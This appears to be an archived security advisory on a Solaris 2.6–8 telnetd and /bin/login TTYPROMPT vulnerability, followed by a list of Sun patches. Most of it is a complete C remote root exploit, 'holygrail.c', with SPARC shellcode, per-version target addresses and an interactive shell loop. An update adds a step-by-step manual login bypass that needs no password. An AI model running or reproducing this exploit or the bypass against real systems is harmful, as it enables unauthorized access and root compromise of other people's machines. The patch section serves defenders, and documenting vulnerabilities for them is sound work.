|
COMMAND telnetd remote and local root exploit SYSTEMS AFFECTED Solaris 2.6, 2.7, 8 SPARC Platform PROBLEM Brendan C. Johnson passed this code "holygrail.c" ; #include <stdio.h> #include <string.h> #include <netdb.h> #include <unistd.h> #include <errno.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <arpa/telnet.h> #ifdef SOLARIS typedef unsigned long u_int32_t; #endif #define BUFLEN 1024 char shellcode[]= "\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xdc\xda\xe0\x3b\xbf\xf0" "\x90\x23\xa0\x10\x94\x23\x80\x0e\xd0\x23\xbf\xe0\xd4\x23\xbf\xe4" "\x92\x23\xa0\x20\x82\x12\xa0\x3b\x91\xd0\x20\x08"; struct { char *name; unsigned long in_addr; unsigned long out_addr; } targets[] = { { "Solaris 8/SPARC local proof of concept", 0xff1bd538, 0xff1b7028 }, { "Solaris 2.7/SPARC local proof of concept", 0xff1bb23c, 0xff1b4a44 }, { "Solaris 2.6/SPARC local proof of concept", 0xff6a91f0, 0xef6a323c }, { "Solaris 2.5.1/SPARC local proof of concept", 0xff61bfe8, 0xef615144 }, { "Solaris 2.7/SPARC remote darkside shit", 0xff1bb150, 0xff1b4c90 }, { "Solaris 2.7/SPARC remote darkside shit II", 0xff1b4cc0, 0xff1b4c90 }, { "Solaris 2.7/SPARC remote darkside shit III", 0xff1b5950, 0xff1b5920 }, { "Solaris 8/SPARC remote darkside shit", 0xff1bd44c, 0xff1b7247 }, { "Solaris 8/SPARC remote darkside shit II", 0xff1b9480, 0xff1b9450 }, { NULL, 0 } }; void usage(char *p) { int i; fprintf(stderr, "usage: %s [-t type] [-p port] [-o offset] <host>\n", p); fprintf(stderr, "-t: target type (see below)\n"); fprintf(stderr, "-p: port to use (default: 23)\n"); fprintf(stderr, "-o: offset to use (default: 0)\n\n"); fprintf(stderr, "Target Types:\n"); for(i = 0; targets[i].name; i++) fprintf(stderr, "%d) %s %.8x %.8x\n", i, targets[i].name, targets[i].in_addr, targets[i].out_addr); fprintf(stderr, "\n"); exit(0); } void die(char *msg) { perror(msg); exit(errno); } u_int32_t get_ip(char *host) { struct hostent *hp; if(!(hp = gethostbyname(host))){ fprintf(stderr, "cannot resolve %s\n", host); return(0); } return(*(u_int32_t *)hp->h_addr_list[0]); } int get_socket(char *target, int port) { int sock; u_int32_t ip; struct sockaddr_in sin; if(!(ip = get_ip(target))) return(0); bzero(&sin, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.s_addr = ip; if(!(sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) die("socket"); if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) die("connect"); return(sock); } void send_wont(int sock, int option) { char buf[3], *ptr=buf; *ptr++ = IAC; *ptr++ = WONT; *ptr++ = (unsigned char)option; if(write(sock, buf, 3) < 0) die("write"); return; } void send_will(int sock, int option) { char buf[3], *ptr=buf; *ptr++ = IAC; *ptr++ = WILL; *ptr++ = (unsigned char)option; if(write(sock, buf, 3) < 0) die("write"); return; } void send_do(int sock, int option) { char buf[3], *ptr=buf; *ptr++ = IAC; *ptr++ = DO; *ptr++ = (unsigned char)option; if(write(sock, buf, 3) < 0) die("write"); return; } void send_env(int sock, char *name, char *value) { char buf[BUFLEN], *ptr = buf; *ptr++ = IAC; *ptr++ = SB; *ptr++ = TELOPT_NEW_ENVIRON; *ptr++ = TELQUAL_IS; *ptr++ = NEW_ENV_VAR; strncpy(ptr, name, BUFLEN-20); ptr += strlen(ptr); *ptr++ = NEW_ENV_VALUE; strncpy(ptr, value, (&buf[BUFLEN-1] - ptr)-1); ptr += strlen(ptr); *ptr++ = IAC; *ptr++ = SE; if(write(sock, buf, (ptr - buf)) < 0) die("write"); return; } void do_negotiate(int sock) { send_wont(sock, TELOPT_TTYPE); send_wont(sock, TELOPT_NAWS); send_wont(sock, TELOPT_LFLOW); send_wont(sock, TELOPT_LINEMODE); send_wont(sock, TELOPT_XDISPLOC); send_will(sock, TELOPT_LFLOW); send_will(sock, TELOPT_LINEMODE); send_wont(sock, TELOPT_OLD_ENVIRON); send_will(sock, TELOPT_NEW_ENVIRON); send_will(sock, TELOPT_BINARY); send_env(sock, "TTYPROMPT", shellcode); return; } void write_attack_buf(int sock, int type) { char *attack_buf, *outbuf; int i, j; #ifdef SOLARIS char tmpbuf[64]; #endif if(!(attack_buf = (char *)calloc(BUFLEN*3, 1))) die("malloc"); if(!(outbuf = (char *)calloc(BUFLEN*6, 1))){ free(attack_buf); die("malloc"); } if(write(sock, attack_buf, strlen(attack_buf)) < 0) die("write"); memset(attack_buf+100, '\t', 80); /* --- stdio FILE structure, top of _iob -- */ #ifdef SOLARIS *(long *)&tmpbuf[0] = htonl((unsigned long)0x00000000); *(long *)&tmpbuf[4] = htonl((unsigned long)targets[type].in_addr); *(long *)&tmpbuf[8] = htonl((unsigned long)targets[type].in_addr); *(long *)&tmpbuf[12] = htonl((unsigned long)0x05000000); *(long *)&tmpbuf[16] = htonl((unsigned long)0x00000001); *(long *)&tmpbuf[20] = htonl((unsigned long)targets[type].out_addr); *(long *)&tmpbuf[24] = htonl((unsigned long)targets[type].out_addr); *(long *)&tmpbuf[28] = htonl((unsigned long)0x4201000a); memcpy(&attack_buf[2055], tmpbuf, 32); #else *(long *)&attack_buf[2055] = htonl((unsigned long)0x00000000); *(long *)&attack_buf[2059] = htonl((unsigned long)targets[type].in_addr); *(long *)&attack_buf[2063] = htonl((unsigned long)targets[type].in_addr); *(long *)&attack_buf[2067] = htonl((unsigned long)0x05000000); *(long *)&attack_buf[2071] = htonl((unsigned long)0x00000001); *(long *)&attack_buf[2075] = htonl((unsigned long)targets[type].out_addr); *(long *)&attack_buf[2079] = htonl((unsigned long)targets[type].out_addr); *(long *)&attack_buf[2083] = htonl((unsigned long)0x4201000a); #endif /* -- IAC stuffing, so telnetd doesn't decide to negotiate -- */ for(i = 0, j = 0; i < 3000; i++){ outbuf[j++] = attack_buf[i]; if(attack_buf[i] == '\xff') outbuf[j++] = '\xff'; if(attack_buf[i] == '\n') break; } if(write(sock, outbuf, j) < 0) die("write"); /* -- 2 reads for reading the garbage which screws up term -- */ if((j = read(sock, attack_buf, BUFLEN)) < 0) die("read"); if((j = read(sock, attack_buf, BUFLEN)) < 0) die("read"); free(attack_buf); free(outbuf); return; } int main(int argc, char **argv) { int c, n, sockfd, type = 0, offset=0, port = 23; char buf[2048], *shellstr="cd /; id; pwd; uname -a;\r\n"; fd_set rset; while((c = getopt(argc, argv, "t:o:p:")) != EOF){ switch(c){ case 't': type = atoi(optarg); if(type < 0 || type > sizeof(targets)){ fprintf(stderr, "invalid target type\n"); usage(argv[0]); } case 'o': offset = atoi(optarg); break; case 'p': port = atoi(optarg); break; } } if(!argv[optind] || !*argv[optind]) usage(argv[0]); if(!(sockfd = get_socket(argv[optind], port))) exit(-1); do_negotiate(sockfd); n = read(sockfd, buf, sizeof(buf)); write_attack_buf(sockfd, type); send_wont(sockfd, TELOPT_BINARY); sleep(1); read(sockfd, buf, sizeof(buf)); write(sockfd, shellstr, strlen(shellstr)); FD_ZERO(&rset); for(;;){ FD_SET(0, &rset); FD_SET(sockfd, &rset); if(select(sockfd+1, &rset, NULL, NULL, NULL) < 0) die("select"); if(FD_ISSET(sockfd, &rset)){ bzero(buf, sizeof(buf)); if((n = read(sockfd, buf, sizeof(buf))) < 0) die("read"); if(n == 0){ printf("EOF\n"); exit(0); } write(1, buf, n); } if(FD_ISSET(0, &rset)){ bzero(buf, sizeof(buf)); if((n = read(0, buf, sizeof(buf))) < 0) die("read"); if(n == 0) exit(0); write(sockfd, buf, n); } } } n = read(sockfd, buf, sizeof(buf)); if (strstr(buf, "login:") == NULL) { printf("FAILED :(\n"); exit(-1); } Update (03 October 2002) ====== Jonathan Stuart adds : Solaris 2.6, 7, and 8 /bin/login has a vulnerability involving the environment variable TTYPROMPT. This vulnerability has already been reported to BugTraq and a patch has been released by Sun. However, a very simple exploit, which does not require any code to be compiled by an attacker, exists. The exploit requires the attacker to simply define the environment variable TTYPROMPT to a 6 character string, inside telnet. I believe this overflows an integer inside login, which specifies whether or not the user has been authenticated (just a guess). Once connected to the remote host, you must type the username, followed by 64 " c"s, and a literal "\n". You will then be logged in as the user without any password authentication. This should work with any account except root (unless remote root login is allowed). Example: coma% telnet telnet> environ define TTYPROMPT abcdef telnet> o localhost SunOS 5.8 bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n Last login: whenever $ whoami bin SOLUTION Casper Disk comments : This appears to be an exploit exploiting the combination of the bugs: 4516876 in.telnetd should not accept TTYPROMPT from remote 4516885 *login* security problem Patches that fix the login problem: 105665-04: SunOS 5.6: /usr/bin/login patch 105666-04: SunOS 5.6_x86: /usr/bin/login patch 106160-02: SunOS 5.5.1: /usr/bin/login patch 106161-02: SunOS 5.5.1_x86: /usr/bin/login patch 108729-01: SunOS 5.5: /usr/bin/login patch 108730-01: SunOS 5.5_x86: /usr/bin/login patch 111085-02: SunOS 5.8: /usr/bin/login patch 111086-02: SunOS 5.8_x86:: /usr/bin/login patch 112300-01: SunOS 5.7: usr/bin/login Patch 112301-01: SunOS 5.7_x86: usr/bin/login Patch Patches that fix the telnetd problem (and other telnetd problems): 106049-04: SunOS 5.6: /usr/sbin/in.telnetd patch 106050-04: SunOS 5.6_x86: /usr/sbin/in.telnetd patch 107475-04: SunOS 5.7: /usr/sbin/in.telnetd Patch 107476-04: SunOS 5.7_x86: /usr/sbin/in.telnetd Patch 110668-03: SunOS 5.8: /usr/sbin/in.telnetd patch 110669-03: SunOS 5.8_x86: /usr/sbin/in.telnetd patch